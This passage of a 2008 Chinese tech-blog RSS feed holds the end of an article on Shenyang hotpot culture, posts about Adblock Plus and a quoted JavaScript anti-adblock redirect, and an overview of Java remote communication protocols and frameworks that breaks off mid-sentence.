生的一些非常有趣的传说。南宋时，一位名叫林洪的诗人，在其所著的《山家清供》里讲了一个涮兔肉片的故事。在当时，林洪前往武夷山拜访隐士止止师，止止师 住在武夷山九曲中之第六曲仙掌峰，当林洪快到山峰时，下起大雪，一只野兔飞奔于山岩中，因刚下雪岩石很滑，滚下石来，被林洪抓到，</span></p>&nbsp;&nbsp;<p><span class="f14">　　林洪想烤来吃，于是问止止师会不会烧兔肉，止止师回答他说，&ldquo;我在山中吃兔子是这样 的，在桌上放个生炭的小火炉，炉上架个汤锅，把兔肉切成薄片，用酒、酱、椒、桂做成调味汁，等汤开了夹着肉片在汤中涮熟，蘸着调味料吃。&rdquo;随后发展到今 天，无论是各种肉类或蔬菜，皆可如此涮食。</span></p>&nbsp;&nbsp;<p><span class="f14">　　<strong>曾经是一个王朝强盛与自信的象征</strong></span></p>&nbsp;&nbsp;<p><span class="f14">　　传说总是富有神秘色彩的，不过佟悦的说法则更为可信，他告诉记者，上世纪80年代的 时候，他曾在沈阳农村的满族人家里看到过这样的一幕景象：万字炕上放着一个炕桌，炕桌中间挖出了一个圆洞，然后主人拿来一个黑铁锅，放在圆洞上面，这个黑 铁锅是小灶用的（小灶是用来炒菜的小锅，所以对某人很照顾有&ldquo;开小灶&rdquo;的说法）。然后，满族人家炕上都有火盆，把火盆拽到炕桌底下，一顿火锅宴就可以开席 了。等到吃完了撤掉全部家什，往中间有圆洞的炕桌上盖一个木板，炕桌就又成为普通桌子了。</span></p>&nbsp;&nbsp;<p><span class="f14">　　&ldquo;现在吃火锅已经不稀奇了，但是在过去，却是一件非常奢侈的事情。&rdquo;佟悦告诉记者，清朝时，只有皇帝能经常吃到火锅。</span></p>&nbsp;&nbsp;<p><span class="f14">　　据记载，清乾隆四十八年正月初十，乾隆皇帝办了530桌宫廷火锅，其盛况可谓中国火锅之最。1796年，清嘉庆皇帝登基时，曾摆&ldquo;千叟宴&rdquo;，所用火锅达1550个，其规模堪称登峰造极，象征着一个王朝的强盛与自信。</span></p>&nbsp;&nbsp;<p><span class="f14">　　反过来，老百姓对吃一顿火锅却不敢那么奢望了。佟悦告诉记者，在清末，满族人中间流传着一句顺口溜：穿蟒缎，服宫绸，铜火锅子羊羔肉。蟒缎、宫绸都是在满族人中间非常昂贵的东西，火锅能与它们并列，可见满族人对火锅的喜爱。</span></p>&nbsp;&nbsp;<p><span class="f14">　　现年75岁的老沈阳赵成儒对火锅的回忆同样如数家珍：&ldquo;这些年沈阳人吃火锅的器皿变化不大，但在燃料使用上的变化却很大。&rdquo;他告诉记者，从柴火到木炭，从电炉、酒精到瓦斯、电磁炉，以木炭的使用历史最久，也最有风味，但也是最污染空气的一种方式。</span></p>&nbsp;&nbsp;<p><span class="f14">　　&ldquo;差不多70年代后，炭锅变成了瓦斯锅，瓦斯控制起火候来更方便，想大就大，想小就小，不过比较危险。&rdquo;赵老不无感慨地说，&ldquo;现在我们家吃火锅开始用电磁锅了，电磁锅干净、方便，但总觉得没了火，吃在嘴里的火锅就没啥风味了。&rdquo;</span></p>&nbsp;&nbsp;<p><span class="f14">　　<strong>冻豆腐捞火锅吃出沈阳人的豪迈</strong></span></p>&nbsp;&nbsp;<p><span class="f14">　　赵老所说的吃法是沈阳人在自家里用来调剂生活的家常火锅，算得上是&ldquo;家家有本自念的经&rdquo;，不过说到沈阳自身特色的火锅文化，那还得到街上那一家家火锅店去看看。</span></p>&nbsp;&nbsp;<p><span class="f14">　　有人说，川味火锅讲究&ldquo;坚守&rdquo;。川味火锅几百年的历史，坚守着那锅老汤，那是老辈们 留下的&ldquo;纯粹&rdquo;，不得篡改，味就那个味，麻、辣、鲜，可就像一幅八卦图般变幻无穷，任时世变迁，人们就着一锅延续了多少年的老汤，涮着、品着几代人的喜乐 悲欢。鸡、鸭、鱼、肉、蔬菜、面食&hellip;&hellip;可劲儿地涮，那锅老汤却从不动。</span></p>&nbsp;&nbsp;<p><span class="f14">　　与川味火锅相比，滇味火锅则&ldquo;善变&rdquo;，因为昆明人的口味是酸中带辣、酸中带甜、咸鲜 甜的混合口味，这个地方的人吃东西挑剔，图个新鲜、图个花样&hellip;&hellip;似乎所有滇味火锅都在迎合着这些特点。他们的锅底各有各的味道和秘方，有的火锅糊而不燥、 辣而不焦、香味醇厚；有的火锅鲜花艳艳、花香四溢；有的火锅菌香味浓&hellip;&hellip;而这些都因为香料的丰富。这个植物王国盛产几百种香料，由着厨师调配，要啥有啥， 刺激人们的味蕾。</span></p>&nbsp;&nbsp;<p><span class="f14">　　与他们相比，沈阳火锅更讲究一个&ldquo;情分&rdquo;。在口味上沈阳人不挑，在历史上，沈阳人没 有四川人的老汤情节，与这些相比，沈阳人吃火锅注重情分、注重尽兴，羊肉不论片涮，一般一筷子下去就是半盘子，讲究吃饱而不是吃好，所以与其说沈阳人是在 涮火锅，倒不如煮火锅来得更贴切。</span></p>&nbsp;&nbsp;<p><span class="f14">　　冻豆腐和大白菜是沈阳人吃火锅时永远离不开的两样看家宝，而且这里更有讲究，白菜要 水翻花后煮到入口能化，冻豆腐则要求不仅豆腐表面要有冰茬，豆腐里面的水更要全部结成冰，而且整个豆腐必须冻到出现大小不一的小孔，这样抛进锅里的冻豆腐 才会充分吸收火锅汤料中的水分，吃起来不但富有弹性，而且味道也格外鲜美可口。</span></p>&nbsp;&nbsp;<p><span class="f14">　　吃惯了冻豆腐与大白菜的沈阳人与其他地方还不太一样的就是，沈阳女孩子吃火锅更为泼 辣，她们不太愿意落在男人们身后，杯中往往都是啤酒而不是碳酸饮料或解渴的茶水。走在沈阳的火锅店内你会时不时看到女孩子把蔬菜混着肉片蘸着调料一起塞进 嘴里，然后满满喝下一杯啤酒，接着继续大声地高谈阔论，有说有笑，根本不在乎别人的反应。这是吃惯菊花锅的江浙一带姑娘无法想像的事情。</span></p>&nbsp;&nbsp;<p><span class="f14">　　<strong>麻辣火锅涮出沈阳人的火热</strong></span></p>&nbsp;&nbsp;<p><span class="f14">　　四川人能吃辣是全国闻名，其实沈阳人也不差，而且四川的麻辣火锅在沈阳简直就是第二故乡，带着&ldquo;四川&rdquo;、&ldquo;重庆&rdquo;、&ldquo;巴蜀&rdquo;字样的火锅店在沈阳更是比比皆是。</span></p>&nbsp;&nbsp;<p><span class="f14">　　有研究表明，四川人之所以爱吃麻辣是因为历史上四川地区是花椒最重要的产地，历史上 便有&ldquo;川椒&rdquo;之称。沈阳由于地域特点，本没有吃麻辣的习惯，但四季分明的气候让沈阳人同样喜欢浓烈的口味，而讲究鲜辣的四川火锅，正如同东北人的浓烈粗犷 一样，十分投沈阳人的脾气，深红色的汤料就如同沈阳人热情好客的性格一样，吃出了一嘴的火热，并在火热中红便了沈阳的大街小巷。</span></p>&nbsp;&nbsp;<p><span class="f14">　　沈阳人不在乎吃的为啥都是挂有&ldquo;四川&rdquo;字样的火锅，他们更在乎不管与谁一起吃火锅， 必须是自己请客，为了抢一份账单你推我夺的情况绝对不是偶然的事情，这与沈阳人自来外露、好胜、实在的性格传统有关，也传达着沈阳人相对简单的思维逻辑， 同样也体现着沈阳这座古城对于不同文化强大的包容能力。</span></p>&nbsp;&nbsp;<p><span class="f14">　　不光是麻辣，几乎全国各地的火锅样式都可以在沈阳找到。在沈阳，有传统的北京&ldquo;涮锅 子&rdquo;，以羊肉为主要涮食，讲究的是羊的产地、羊肉的部位、切肉的刀法以及调料的调制，最后还不能忘了芝麻烧饼和糖蒜。还有长江以南的菊花锅，汤底是鸡清汤 加了虾米、笋片、火腿片和雪里蕻，涮食则可以是鸡胗、鱼肉、香菇等。广东的&ldquo;打边炉&rdquo;火锅也可以在沈阳找到，这种火锅在汤底方面特别讲究，汤底以清凉滋补 为主。</span></p>&nbsp;&nbsp;<p><span class="f14">　　一口锅，一炉火，麻辣、鲜香、滚烫；大白菜、冻豆腐、宽粉条尽在其中，朴实简单的沈阳人，正是在这一口锅中&ldquo;涮&rdquo;出了时代的发展，生活的畅快和真情的流露&hellip;&hellip;本报记者马光</span></p></td></tr></tbody></table><br/>Tags - <a href="http://www.dreamaroundworld.com/tech/tag.php?tag=%25E5%2590%2583%25E9%25A5%25AD" rel="tag">吃饭</a>
]]>
</description>
</item><item>
<link>http://www.dreamaroundworld.com/tech/read.php?1731</link>
<title><![CDATA[很不错的两个firefox插件]]></title> 
<author>wangyuneu &lt;wangyuneu@hotmail.com&gt;</author>
<category><![CDATA[Web开发]]></category>
<pubDate>Sat, 08 Mar 2008 16:42:11 +0000</pubDate> 
<guid>http://www.dreamaroundworld.com/tech/read.php?1731</guid> 
<description>
<![CDATA[ 
	今天同事向我推荐了一个firefox的插件，名字叫Adblock plus，工作的时候需要和插件Adblock相结合：）能够对firefox浏览的页面内的html元素进行过滤&mdash;&mdash;Adblock，而Adblock plus在其基础上建立了对常见广告的信息列表，可以进行过滤，呵呵。用起来效果不错，打开网页的速度加快了，很多iframe的那些广告，google的广告也都没了&mdash;&mdash;希望不会影响我的广告收入&mdash;&mdash;那点美元，呵呵。<br /><br />Adblock <a href="https://addons.mozilla.org/zh-CN/firefox/addon/10">https://addons.mozilla.org/zh-CN/firefox/addon/10</a><br />Adblock plus <a href="http://adblockplus.org/en/">http://adblockplus.org/en/</a><br /><br /><br /><br/>Tags - <a href="http://www.dreamaroundworld.com/tech/tag.php?tag=firefox" rel="tag">firefox</a>
]]>
</description>
</item><item>
<link>http://www.dreamaroundworld.com/tech/read.php?1730</link>
<title><![CDATA[转帖：如何屏蔽使用了 Adblock Plus 的 Firefox 访客]]></title> 
<author>wangyuneu &lt;wangyuneu@hotmail.com&gt;</author>
<category><![CDATA[Web开发]]></category>
<pubDate>Sat, 08 Mar 2008 16:41:56 +0000</pubDate> 
<guid>http://www.dreamaroundworld.com/tech/read.php?1730</guid> 
<description>
<![CDATA[ 
	<p>就像 <a href="http://adblockplus.org/en/" title="Adblock Plus: Save your time and traffic">Adblock Plus</a> 的简介中说的那样：Ads were yesterday，使用了&nbsp;&nbsp;Adblock Plus 之后的 <a href="http://www.mozilla.com/en-US/" title="Mozilla Firefox">Firefox</a> 几乎找不到了广告的踪影。Adblock Plus 已经成了越来越多的 Firefox 用户的首选必备扩展。</p> <p>根据作者的统计，每天世界上都会有三万到四万人成为新的 Adblock Plus 用户。不过，正是无处不在的牛皮癣小广告促进了我们的互联网可以像今天这样繁荣发展，没有商业的运作，所有的一切都是浮云。在这个世界上每天还有着像这样 的很多人：为了写一篇有质量的博客查阅了很多资料，补了很多功课，希望通过优秀的文章来换取网站的广告点击，用来购买空间域名，为了使自己的网站正常的运 转下去。每天都会有 30% 以上的用户使用 Firefox 登录这些博客，而这些 Firefox 大都很自豪的武装了 Adblock Plus。就这样，Firefox 越来越流行，博客们的日子越来越凄惨。</p> <p>在这场由 Adblock Plus 掀起的消灭广告的网络革命中，<a href="https://www.google.com/adsense/login/en_US/" title="Earn money from relevant ads on your website">Google Adsense</a> 首当其冲成为了最大的受害者。可笑的是，在此前的一次平面媒体采访中，Adblock Plus 的继任开发者 Wladimir Palant 透露，原来他本人也是 Google Adsense 广告的 Fans 之一。Firefox 用户只要在 Wladimir Palant 写的 Adblock Plus 中添加一条很简单的命令就可以让 Google Adsense 在整个互联网上&ldquo;扑&rdquo;的一下子消失的无影无踪。于是就这样，Adblock Plus 偷走了全球无数博客们赖以维持生计的口粮。比如俺的 <a href="http://www.nidaye.org/" title="你大爷.orG">NiDaYe.orG</a>，做为&nbsp;&nbsp;Firefox 专题类的特别低调的博客，几乎所有的访客 UA 都是 Firefox，在过去的 14 天中 NiDaYe.orG 有将近 2000 次的访问，而放置的 Google Adsense 广告只有振奋人心的 12 次点击。</p> <p>不甘心经济利益受损的博客们的确找不到对付 Adblock Plus 的办法，因为这个扩展真的太强大了。于是一些极端的同志们开始在自己的网站上封锁 Firefox 的访客，封锁的原理和我前些日子介绍的<a href="http://www-user.tu-chemnitz.de/%7Etali/2007/07/20/how-to-block-ie-user/" title="如何屏蔽网站的 IE 访客">《如何屏蔽网站的 IE 访客》</a>是一样的，就是在访客的 UA 中一旦检测到其中包含 firefox 的关键词，就立刻将这个访问进程转向到一个特定的网页。有位国外的愤青悲愤的建立了 <a href="http://whyfirefoxisblocked.com/index1.php" title="why firefox is blocked">whyfirefoxisblocked.com</a> 这个网站，流着热泪向大家哭诉了自己封锁 Firefox 用户的初衷，以及<a href="http://whyfirefoxisblocked.com/blockcode.html" title="Code to block FireFox">具体的封锁教程</a>。</p> <p>相比之下，<a href="http://www.afroarticles.com/article-dashboard/profile/Danny-Carlton/3021" title="Danny Carlton">Danny Carlton</a> 这位同志就显的理智多了，他选择了只封锁使用了 Adblock Plus 的访客，通过在网站中嵌一个 js，他成功的做到了这一点，不过也许我永远都不会使用这个 js：</p> <blockquote><p> <br /> function dieAdBlockPlusDie()<br /> &#123;<br /> var giframe = document.getElementsByTagName(&quot;iframe&quot;);<br /> var blocked=1;<br /> for (var i = 0; i &lt; giframe.length; i++)<br /> &#123;<br /> var name = giframe[i].getAttribute(&quot;name&quot;);<br /> if(name == &quot;google_ads_frame&quot;)<br /> &#123;<br /> var blocked=0;<br /> &#125;<br /> &#125;<br /> if(blocked)&#123;window.location = 'http://articlewagon.com/thief.htm';&#125;<br /> &#125;<br /> setTimeout('dieAdBlockPlusDie()', 2000);</p></blockquote> <p>所有使用 Adblock Plus 屏蔽 Google Adsense 广告的访客，在访问嵌了这个 js 的网站时，都会被自动转向到 <a href="http://articlewagon.com/thief.htm">http://articlewagon.com/thief.htm</a> 这个网页，在那里刻着几行 blogger 们用血和泪写下的大字：</p> <blockquote><p><strong>Thieves are not welcome at this site !</strong></p></blockquote><br/>Tags - <a href="http://www.dreamaroundworld.com/tech/tag.php?tag=%25E7%25BC%2596%25E7%25A8%258B" rel="tag">编程</a> , <a href="http://www.dreamaroundworld.com/tech/tag.php?tag=firefox" rel="tag">firefox</a>
]]>
</description>
</item><item>
<link>http://www.dreamaroundworld.com/tech/read.php?1728</link>
<title><![CDATA[转帖：Java远程通讯可选技术及原理]]></title> 
<author>wangyuneu &lt;wangyuneu@hotmail.com&gt;</author>
<category><![CDATA[JAVA相关]]></category>
<pubDate>Sat, 08 Mar 2008 03:51:20 +0000</pubDate> 
<guid>http://www.dreamaroundworld.com/tech/read.php?1728</guid> 
<description>
<![CDATA[ 
	在分布式服务框架中，一个最基础的问题就是远程服务是怎么通讯的，在Java领域中有很多可实现远程通讯的技术，例如：RMI、MINA、 ESB、Burlap、Hessian、SOAP、EJB和JMS等，这些名词之间到底是些什么关系呢，它们背后到底是基于什么原理实现的呢，了解这些是实现分布式服务框架的基础知识，而如果在性能上有高的要求的话，那深入了解这些技术背后的机制就是必须的了，在这篇blog中我们将来一探究竟，抛砖引玉，欢迎大家提供更多的实现远程通讯的技术和原理的介绍。<br /><br />基本原理<br />要实现网络机器间的通讯，首先得来看看计算机系统网络通信的基本原理，在底层层面去看，网络通信需要做的就是将流从一台计算机传输到另外一台计算机，基于传输协议和网络IO来实现，其中传输协议比较出名的有 http、tcp、udp等等，http、tcp、udp都是在基于Socket概念上为某类应用场景而扩展出的传输协议，网络IO，主要有bio、 nio、aio三种方式，所有的分布式应用通讯都基于这个原理而实现，只是为了应用的易用，各种语言通常都会提供一些更为贴近应用易用的应用层协议。<br /><br />应用级协议<br />远程服务通讯，需要达到的目标是在一台计算机发起请求，另外一台机器在接收到请求后进行相应的处理并将结果返回给请求端，这其中又会有诸如one way request、同步请求、异步请求等等请求方式，按照网络通信原理，需要实现这个需要做的就是将请求转换成流，通过传输协议传输至远端，远端计算机在接收到请求的流后进行处理，处理完毕后将结果转化为流，并通过传输协议返回给调用端。<br />原理是这样的，但为了应用的方便，业界推出了很多基于此原理之上的应用级的协议，使得大家可以不用去直接操作这么底层的东西，通常应用级的远程通信协议会提供：<br />1、为了避免直接做流操作这么麻烦，提供一种更加易用或贴合语言的标准传输格式；<br />2、网络通信机制的实现，就是替你完成了将传输格式转化为流，通过某种传输协议传输至远端计算机，远端计算机在接收到流后转化为传输格式，并进行存储或以某种方式通知远端计算机。<br />所以在学习应用级的远程通信协议时，我们可以带着这几个问题进行学习：<br />1、传输的标准格式是什么？<br />2、怎么样将请求转化为传输的流？<br />3、怎么接收和处理流？<br />4、传输协议是？<br />不过应用级的远程通信协议并不会在传输协议上做什么多大的改进，主要是在流操作方面，让应用层生成流和处理流的这个过程更加的贴合所使用的语言或标准，至于传输协议则通常都是可选的，在java领域中知名的有：RMI、XML-RPC、Binary-RPC、SOAP、CORBA、JMS，来具体的看看这些远程通信的应用级协议：<br />--------------------------------------------------------------------------------------------------------------------------------------------------<br />RMI<br />RMI 是个典型的为java定制的远程通信协议，我们都知道，在single vm中，我们可以通过直接调用java object instance来实现通信，那么在远程通信时，如果也能按照这种方式当然是最好了，这种远程通信的机制成为RPC（Remote Procedure Call），RMI正是朝着这个目标而诞生的。<br />来看下基于RMI的一次完整的远程通信过程的原理：<br />1、客户端发起请求，请求转交至RMI客户端的stub类；<br />2、stub类将请求的接口、方法、参数等信息进行序列化；<br />3、基于socket将序列化后的流传输至服务器端；<br />4、服务器端接收到流后转发至相应的skelton类；<br />5、skelton类将请求的信息反序列化后调用实际的处理类；<br />6、处理类处理完毕后将结果返回给skelton类；<br />7、Skelton类将结果序列化，通过socket将流传送给客户端的stub；<br />8、stub在接收到流后反序列化，将反序列化后的Java Object返回给调用者。<br />来看jboss-remoting对于此过程的一个更好的图示：<br /><br />根据原理来回答下之前学习应用级协议带着的几个问题：<br />1、传输的标准格式是什么？<br />是Java ObjectStream。<br />2、怎么样将请求转化为传输的流？<br />基于Java串行化机制将请求的java object信息转化为流。<br />3、怎么接收和处理流？<br />根据采用的协议启动相应的监听端口，当有流进入后基于Java串行化机制将流进行反序列化，并根据RMI协议获取到相应的处理对象信息，进行调用并处理，处理完毕后的结果同样基于java串行化机制进行返回。<br />4、传输协议是？<br />Socket。<br />--------------------------------------------------------------------------------------------------------------------------------------------------<br />XML-RPC<br />XML-RPC也是一种和RMI类似的远程调用的协议，它和RMI的不同之处在于它以标准的xml格式来定义请求的信息(请求的对象、方法、参数等)，这样的好处是什么呢，就是在跨语言通讯的时候也可以使用。<br />来看下XML-RPC协议的一次远程通信过程：<br />1、客户端发起请求，按照XML-RPC协议将请求信息进行填充；<br />2、填充完毕后将xml转化为流，通过传输协议进行传输；<br />3、接收到在接收到流后转换为xml，按照XML-RPC协议获取请求的信息并进行处理；<br />4、处理完毕后将结果按照XML-RPC协议写入xml中并返回。<br />图示以上过程：<br /><br />同样来回答问题：<br />1、传输的标准格式是？<br />标准格式的XML。<br />2、怎么样将请求转化为传输的流？<br />将XML转化为流。<br />3、怎么接收和处理流？<br />通过监听的端口获取到请求的流，转化为XML，并根据协议获取请求的信息，进行处理并将结果写入XML中返回。<br />4、传输协议是？<br />Http。<br />--------------------------------------------------------------------------------------------------------------------------------------------------<br />Binary-RPC<br />Binary-RPC看名字就知道和XML-RPC是差不多的了，不同之处仅在于传输的标准格式由XML转为了二进制的格式。<br />同样来回答问题：<br />1、传输的标准格式是？<br />标准格式的二进制文件。<br />2、怎么样将请求转化为传输的流？<br />将二进制格式文件转化为流。<br />3、怎么接收和处理流？<br />通过监听的端口获取到请求的流，转化为二进制文件，根据协议获取请求的信息，进行处理并将结果写入XML中返回。<br />4、传输协议是？<br />Http。<br />--------------------------------------------------------------------------------------------------------------------------------------------------<br />SOAP<br />SOAP 原意为Simple Object Access Protocol，是一个用于分布式环境的、轻量级的、基于XML进行信息交换的通信协议，可以认为SOAP是XML RPC的高级版，两者的原理完全相同，都是http+XML，不同的仅在于两者定义的XML规范不同，SOAP也是Webservice采用的服务调用协议标准，因此在此就不多加阐述了。<br />--------------------------------------------------------------------------------------------------------------------------------------------------<br />CORBA<br />Common Object Request Broker Architecture（公用对象请求代理[调度]程序体系结构），是一组用来定义&ldquo;分布式对象系统&rdquo;的标准，由OMG(Object Menagement Group)作为发起和标准制定单位。CORBA的目的是定义一套协议，符合这个协议的对象可以互相交互，不论它们是用什么样的语言写的，不论它们运行于什么样的机器和操作系统。<br />CORBA在我看来是个类似于SOA的体系架构，涵盖可选的远程通信协议，但其本身不能列入通信协议这里来讲，而且CORBA基本淘汰，再加上对CORBA也不怎么懂，在此就不进行阐述了。<br />--------------------------------------------------------------------------------------------------------------------------------------------------<br />JMS<br />JMS 呢，是实现java领域远程通信的一种手段和方法，基于JMS实现远程通信时和RPC是不同的，虽然可以做到RPC的效果，但因为不是从协议级别定义的，因此我们不认为JMS是个RPC协议，但它确实是个远程通信协议，在其他的语言体系中也存在着类似JMS的东西，可以统一的将这类机制称为消息机制，而消息机制呢，通常是高并发、分布式领域推荐的一种通信机制，这里的主要一个问题是容错（详细见ErLang论文）。<br />来看JMS中的一次远程通信的过程：<br />1、客户端将请求转化为符合JMS规定的Message；<br />2、通过JMS API将Message放入JMS Queue或Topic中；<br />3、如为JMS Queue，则发送中相应的目标Queue中，如为Topic，则发送给订阅了此Topic的JMS Queue。<br />4、处理端则通过轮训JMS Queue，来获取消息，接收到消息后根据JMS协议来解析Message并处理。<br />回答问题：<br />1、传输的标准格式是？<br />JMS规定的Message。<br />2、怎么样将请求转化为传输的流？<br />将参数信息放入Message中即可。<br />3、怎么接收和处理流？<br />轮训JMS Queue来接收Message，接收到后进行处理，处理完毕后仍然是以Message的方式放入Queue中发送或Multicast。<br />4、传输协议是？<br />不限。<br />基于JMS也是常用的实现远程异步调用的方法之一。<br /><br />可选实现技术<br />当然，在上面的原理中并没有介绍到所有的java领域可选的远程通信协议了，例如还有EJB采用的ORMI、Spring自己定义的一个简单的Http Invoker等等。<br />看完原理后我们再来看看目前java领域可用于实现远程通讯的框架或library，知名的有：JBoss-Remoting、Spring- Remoting、Hessian、Burlap、XFire(Axis)、ActiveMQ、Mina、Mule、EJB3等等，来对每种做个简单的介绍和评价，其实呢，要做分布式服务框架，这些东西都是要有非常深刻的了解的，因为分布式服务框架其实是包含了解决分布式领域以及应用层面领域两方面问题的。<br />当然，你也可以自己根据远程网络通信原理(transport protocol+Net IO)去实现自己的通讯框架或library。<br />那么在了解这些远程通讯的框架或library时，会带着什么问题去学习呢？<br />1、是基于什么协议实现的？<br />2、怎么发起请求？<br />3、怎么将请求转化为符合协议的格式的？<br />4、使用什么传输协议传输？<br />5、响应端基于什么机制来接收请求？<br />6、怎么将流还原为传输格式的？<br />7、处理完毕后怎么回应？<br />--------------------------------------------------------------------------------------------------------------------------------------------------<br />JBoss-Remoting<br />Jboss-remoting是由jboss编写的一个java领域的远程通讯框架，基于此框架，可以很简单的实现基于多种传输协议的java对象的RPC。<br />直接来回答问题：<br />1、是基于什么协议实现的？<br />JBoss-Remoting是个通讯框架，因此它支持多种协议方式的通信，例如纯粹的socket+io方式、rmi方式、http+io方式等。<br />2、怎么发起请求？<br />在JBoss-Remoting中，只需将需要发起的请求参数对象传入jboss-remoting的InvocationRequest对象即可，也可根据协议基于InvocationRequest封装符合需求的InvocationRequest对象。<br />3、怎么将请求转化为符合协议的格式的？<br />JBoss-Remoting基于Java串行化机制或JBoss自己的串行化实现来将请求转化为对象字节流。<br />4、使用什么传输协议传输？<br />支持多种传输协议，例如socket、http等。<br />5、响应端基于什么机制来接收请求？<br />响应端只需将自己的处理对象注册到JBoss-Remoting提供的server端的Connector对象中即可。<br />6、怎么将流还原为传输格式的？<br />JBoss-Remoting基于java串行化机制或jboss自己的串行化实现来将请求信息还原为java对象。<br />7、处理完毕后怎么回应？<br />处理完毕后将结果对象直接返回即可，jboss-remoting会将此对象按照协议进行序列化，返回至调用端。<br />另外，jboss-remoting支持多种通信方式，例如同步/异步/单向通信等。<br /><br />--------------------------------------------------------------------------------------------------------------------------------------------------<br />Spring-Remoting<br />Spring-remoting是Spring提供java领域的远程通讯框架，基于此框架，同样也可以很简单的将普通的spring bean以某种远程协议的方式来发布，同样也可以配置spring bean为远程调用的bean。<br />1、是基于什么协议实现的？<br />和JBoss-Remoting一样，作为一个远程通讯的框架，Spring通过集成多种远程通讯的library，从而实现了对多种协议的支持，例如rmi、http+io、xml-rpc、binary-rpc等。<br />2、怎么发起请求？<br />在Spring中，由于其对于远程调用的bean采用的是proxy实现，发起请求完全是通过服务接口调用的方式。<br />3、怎么将请求转化为符合协议的格式的？<br />Spring按照协议方式将请求的对象信息转化为流，例如Spring Http Invoker是基于Spring自己定义的一个协议来实现的，传输协议上采用的为http，请求信息是基于java串行化机制转化为流进行传输。<br />4、使用什么传输协议传输？<br />支持多种传输协议，例如rmi、http等等。<br />5、响应端基于什么机制来接收请求？<br />响应端遵循协议方式来接收请求，对于使用者而言，则只需通过spring的配置方式将普通的spring bean配置为响应端或者说提供服务端。<br />6、怎么将流还原为传输格式的？<br />按照协议方式来进行还原。<br />7、处理完毕后怎么回应？<br />处理完毕后直接返回即可，spring-remoting将根据协议方式来做相应的序列化。<br /><br />--------------------------------------------------------------------------------------------------------------------------------------------------<br />Hessian<br />Hessian是由caucho提供的一个基于binary-RPC实现的远程通讯library。<br />1、是基于什么协议实现的？<br />基于Binary-RPC协议实现。<br />2、怎么发起请求？<br />需通过Hessian本身提供的API来发起请求。<br />3、怎么将请求转化为符合协议的格式的？<br />Hessian通过其自定义的串行化机制将请求信息进行序列化，产生二进制流。<br />4、使用什么传输协议传输？<br />Hessian基于Http协议进行传输。<br />5、响应端基于什么机制来接收请求？<br />响应端根据Hessian提供的API来接收请求。<br />6、怎么将流还原为传输格式的？<br />Hessian根据其私有的串行化机制来将请求信息进行反序列化，传递给使用者时已是相应的请求信息对象了。<br />7、处理完毕后怎么回应？<br />处理完毕后直接返回，hessian将结果对象进行序列化，传输至调用端。<br /><br />--------------------------------------------------------------------------------------------------------------------------------------------------<br />Burlap<br />Burlap也是有caucho提供，它和hessian的不同在于，它是基于XML-RPC协议的。<br />1、是基于什么协议实现的？<br />基于XML-RPC协议实现。<br />2、怎么发起请求？<br />根据Burlap提供的API。<br />3、怎么将请求转化为符合协议的格式的？<br />将请求信息转化为符合协议的XML格式，转化为流进行传输。<br />4、使用什么传输协议传输？<br />Http协议。<br />5、响应端基于什么机制来接收请求？<br />监听Http请求。<br />6、怎么将流还原为传输格式的？<br />根据XML-RPC协议进行还原。<br />7、处理完毕后怎么回应？<br />返回结果写入XML中，由Burlap返回至调用端。<br /><br />--------------------------------------------------------------------------------------------------------------------------------------------------<br />XFire、Axis<br />XFire、Axis是Webservice的实现框架，WebService可算是一个完整的SOA架构实现标准了，因此采用XFire、Axis这些也就意味着是采用webservice方式了。<br />1、是基于什么协议实现的？<br />基于SOAP协议。<br />2、怎么发起请求？<br />获取到远端service的proxy后直接调用。<br />3、怎么将请求转化为符合协议的格式的？<br />将请求信息转化为遵循SOAP协议的XML格式，由框架转化为流进行传输。<br />4、使用什么传输协议传输？<br />Http协议。<br />5、响应端基于什么机制来接收请求？<br />监听Http请求。<br />6、怎么将流还原为传输格式的？<br />根据SOAP协议进行还原。<br />7、处理完毕后怎么回应？<br />返回结果写入XML中，由框架返回至调用端。<br /><br />--------------------------------------------------------------------------------------------------------------------------------------------------<br />ActiveMQ<br />ActiveMQ是JMS的实现，基于JMS这类消息机制实现远程通讯是一种不错的选择，毕竟消息机制本身的功能使得基于它可以很容易的去实现同步/异步/单向调用等，而且消息机制从容错角度上来说也是个不错的选择，这是Erlang能够做到容错的重要基础。<br />1、是基于什么协议实现的？<br />基于JMS协议。<br />2、怎么发起请求？<br />遵循JMS API发起请求。<br />3、怎么将请求转化为符合协议的格式的？<br />不太清楚，猜想应该是二进制流。<br />4、使用什么传输协议传输？<br />支持多种传输协议，例如socket、http等等。<br />5、响应端基于什么机制来接收请求？<br />监听符合协议的端口。<br />6、怎么将流还原为传输格式的？<br />同问题3。<br />7、处理完毕后怎么回应？<br />遵循JMS API生成消息，并写入JMS Queue中。<br />基于JMS此类机制实现远程通讯的例子有Spring-Intergration、Mule、Lingo等等。<br /><br />--------------------------------------------------------------------------------------------------------------------------------------------------<br />Mina<br />Mina 是Apache提供的通讯框架，在之前一直没有提到网络IO这块，之前提及的框架或library基本都是基于BIO的，而Mina是采用NIO的， NIO在并发量增长时对比BIO而言会有明显的性能提升，而java性能的提升，与其NIO这块与OS的紧密结合是有不小的关系的。<br />1、是基于什么协议实现的？<br />基于纯粹的Socket+NIO。<br />2、怎么发起请求？<br />通过Mina提供的Client API。<br />3、怎么将请求转化为符合协议的格式的？<br />Mina遵循java串行化机制对请求对象进行序列化。<br />4、使用什么传输协议传输？<br />支持多种传输协议，例如socket、http等等。<br />5、响应端基于什么机制来接收请求？<br />以NIO的方式监听协议端口。<br />6、怎么将流还原为传输格式的？<br />遵循java串行化机制对请求对象进行反序列化。<br />7、处理完毕后怎么回应？<br />遵循Mina API进行返回。<br />MINA是NIO方式的，因此支持异步调用是毫无悬念的。<br /><br />--------------------------------------------------------------------------------------------------------------------------------------------------<br />EJB<br />EJB最突出的在于其分布式，EJB采用的是ORMI协议，和RMI协议是差不多的，但EJB在分布式通讯的安全控制、transport pool、smart proxy等方面的突出使得其在分布式领域是不可忽视的力量。<br />1、是基于什么协议实现的？<br />基于ORMI协议。<br />2、怎么发起请求？<br />EJB调用。<br />3、怎么将请求转化为符合协议的格式的？<br />遵循java串行化机制对请求对象进行序列化。<br />4、使用什么传输协议传输？<br />Socket。<br />5、响应端基于什么机制来接收请求？<br />监听协议端口。<br />6、怎么将流还原为传输格式的？<br />遵循java串行化机制对请求对象进行反序列化。<br />7、处理完毕后怎么回应？<br />直接返回处理对象即可。<br /><br />在之前的分布式服务框架系列的文章中对于jndi有误导的嫌疑，在这篇blog中也顺带的提下jndi的机制，由于JNDI取决于具体的实现，在这里只能是讲解下jboss的jndi的实现了。<br />在将对象实例绑定到jboss jnp 